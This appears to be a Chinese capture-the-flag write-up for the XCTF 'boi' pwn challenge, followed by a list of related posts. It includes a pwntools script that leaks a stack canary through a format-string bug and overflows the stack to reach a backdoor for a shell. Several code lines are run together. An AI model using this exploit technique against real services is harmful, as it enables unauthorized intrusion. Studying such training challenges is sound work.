攻防世界PWN之boi题解
Boi
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
看似很复杂,我们发现这是一个服务器程序,并且一开始要发送特殊指令,才能显示出菜单
套接字初始化,绑定了本地端口0x539也就是1337
这里是接收指令
Unpack是将网络字节序转为本机字节序,如x86的小端
因此,我们一开始,为了显示出菜单,需要这样
- sh.sendline('zhaohai')
- #发送这个,才能显示出菜单
- sh.sendline('a'*0x4 + '\x00\x00\x00\x0C\x00\x00\x00\x05')
然后,我们看到菜单的功能6,存在栈溢出
这里有后门函数
那么,我们只要泄漏canary,就可以溢出了
功能1存在一个格式化字符串漏洞,参数正式功能6里输入的v3,因此,我们可以利用格式化字符串漏洞来泄漏canary
综上,我们的exp脚本
#coding:utf8
from pwn import *getshell0 = 0x405524
sh = remote('127.0.0.1','1337')#sh = remote('111.198.29.45',55316)def create():sh.sendlineafter('Your Choice :','1')sh.sendlineafter('size:','256')sh.sendlineafter('rabbit info :','a')def show():sh.sendlineafter('Your Choice :','4')sh.sendlineafter('idx:','0')sh.sendline('zhaohai')
#发送这个,才能显示出菜单
sh.sendline('a'*0x4 + '\x00\x00\x00\x0C\x00\x00\x00\x05')#格式化字符串漏洞泄露canary
payload = 'S%12$p'
sh.sendlineafter('Your Choice :','6')
sh.sendlineafter('you can name the rabbit hole.',payload)create()
show()
sh.recvuntil('S')
canary = int(sh.recvuntil('\n',drop = True),16)
print 'canary=',hex(canary)
payload = 'a'*0x8 + p64(canary) + p64(0) + p64(getshell0)
sh.sendlineafter('Your Choice :','6')
sh.sendlineafter('you can name the rabbit hole.',payload)
#getshell
sh.sendlineafter('Your Choice :','5')sh.interactive()
这里是接收指令
攻防世界PWN之boi题解相关推荐
- 攻防世界PWN之house_of_grey题解
house_of_grey 首先,检查一下程序的保护机制,发现保护全开 然后,我们用IDA分析一下 发现是一个读取文件并显示的程序,除了flag文件,其他文件都可以读取 程序有个缓冲区溢出漏洞 可以溢 ...
- 攻防世界PWN之cnss题解
Cnss 首先,我们检查一下程序的保护机制 然后,我们用IDA分析一下,发现是一个服务器程序,每接收到连接请求后就会fork一个子进程来处理. 代码太长,看似很复杂 我们发现eval函数存在栈溢出,并 ...
- realloc函数UAF利用|攻防世界pwn进阶区supermarket
文章目录 思路 0x00.tar解压 0x01.查看保护 0x02.查看程序并调试 0x03.漏洞分析 realloc函数详解 0x04.利用思路 利用过程 exp-1 解法二 函数须知 0x00.查 ...
- 攻防世界(Pwn) forgot---栈溢出;(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...
- 攻防世界(Pwn) forgot---栈溢出;(方法一)
攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...
- [攻防世界 pwn]——pwn1(内涵peak小知识)
[攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...
- [攻防世界 pwn]——实时数据监测
[攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...
- [攻防世界 pwn]——monkey
[攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...
- [攻防世界 pwn]——反应釜开关控制
[攻防世界 pwn]--反应釜开关控制 题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...
最新文章
- VUE 动态绑定class
- 案例开发分析 || ​​​​​​​Scheduler组件
- 2021暑假实习-SSM超市积分管理系统-day04笔记
- C语言:--位域和内存对齐
- CATIA中使用约束时提示“创建的约束是临时的。若希望使他成为永久约束,则需要在单击确定按钮之前激活约束开关。”
- 计算机专业需要汇编语言,重点大学计算机专业系列教材·汇编语言程序设计
- 指针、引用以及const限定符、constexpr限定符
- Gentle.NET 使用文档
- 全攻略:大病医疗专项附加扣除,一文集全了
- 滴滴否认上海团队解散;雄安超前布局 5G;小米拆分独立品牌 | 极客头条
- win10浏览器html设置字体大小设置,edge字体大小设置?win10 edge浏览器字体设置技巧...
- 学ps还是html,photoshop哪个版本好用?初学PS用哪个版本好?
- MySQL官方提供的日志分析工具_MySQL 日志分析的几款工具-Fun言
- 网线为什么又叫做双绞线?UTP STP FTP SFTP之间的区别?
- 特殊字符ascii码
- (八) 爬虫教程 |Scrapy框架的使用
- 打印万年历的c语言程序,C语言打印万年历
- 浅谈:支付结算系统的重要性
- Mac打不开网页的解决方法
- HTML情人节表白代码,给女朋友的电子情书代码,女朋友表白代码